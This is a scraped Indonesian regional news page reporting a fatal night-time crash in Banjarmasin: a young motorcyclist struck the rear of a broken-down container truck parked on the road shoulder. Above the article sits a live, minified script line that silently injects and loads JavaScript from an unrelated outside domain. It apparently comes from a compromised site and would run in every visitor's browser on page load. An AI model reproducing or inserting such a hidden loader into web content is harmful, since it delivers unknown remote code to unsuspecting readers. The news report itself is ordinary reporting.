(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pemotor Tewas Seruduk Buritan Truk Peti Kemas di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Kecelakaan lalu lintas antara sepeda motor dan truk pengangkut peti kemas terjadi di Jalan Sutoyo S Kelurahan Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin, Sabtu (16/3/2024) dini hari.

Dalam peristiwa tersebut, seorang pengendara sepeda motor nyawanya tak bisa diselamatkan.

Warga sekitar, Slamet, mengatakan, kejadian kecelakaan terjadi sekitar pukul 02.30 Wita, dimana saat jelang waktu sahur dan cuaca hujan itu warga sekitar Jalan Sutoyo S dibuat geger.

Kecelakaan diceritakannya, pemotor yang berkendara sendiri melaju dari arah pelabuhan menuju ke dalam Kota Banjarmasin.

Baca juga: Para ‘Pengatur’ Putar Balik di Banjarbaru Hanya Ditegur, Tak Ada Sanksi 

Pengendara motor Yamaha Fazzio dengan nopol DA 3711 CI itu menghantam bagian belakang truk kontainer bernopol L 9103 UY yang sedang mogok dan terparkir di bahu jalan depan SMKN 4 Banjarmasin.

Pemotor Muhammad Noval (24), warga Pekapuran Raya, Sabtu (16/3/2024) dini hari, tewas tabrak truk peti kemas parkir. Foto: ist

Truk kontainer yang ditabrak pengendara motor matic itu menurut Slamet sudah terparkir sejak Jumat (15/3/20249) malam, dan ditinggal sopirnya di lokasi karena mengalami mogok.

“Yang pakai kendaraan (korban) meranjah (menabrak, red). Truknya itu lagi rusak, sopirnya aja kadada (tidak ada, red)” ujar Slamet.

Baca juga: Bupati Banjar Harapkan Silaturahmi Pemkab dan Masyarakat Makin Erat

Masih lanjut warga Pelambuan ini, padahal truk kontainer yang mogok tersebut sudah dipasang penanda parkir (traffic cone) pada bagian belakang truk.

“Penandanya ada,” sebutnya.

Dari informasi yang himpun, korban pengendara motor yang tewas pada kejadian itu berjenis kelamin laki-laki bernama Muhammad Noval (24).

Pemuda tersebut merupakan warga Jalan Pangeran Antasari Gang Setia, Kelurahan Pekapuran Raya, Kecam Banjarmasin Timur.

Lokasi kecelakaan yang menewaskan seorang Muhammad Noval (24) warga Pekapuran Raya, Sabtu (16/3/2024) dini hari. Foto: rizki

Sementara pantauan Kanalkalimantan.com di lokasi kejadian kecelakaan, truk kontainer pengangkut peti kemas itu masih terparkir di bahu jalan dan belum bergeser dari lokasi kejadian.

Baca juga: Yuk Ikut Kompetisi Film Pendek 2024 Dispersip Kalsel, Ini Syaratnya

Serpihan motor korban masih terlihat berhamburan di kolong bagian belakang truk. Darah korban yang sudah kering nampak masih membekas di aspal.

Korban yang sempat dibawa ke ruang jenazah Rumah Sakit Ulin Banjarmasin kini sudah disemayamkan ke rumah duka di Pekapuran Raya untuk dikebumikan. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.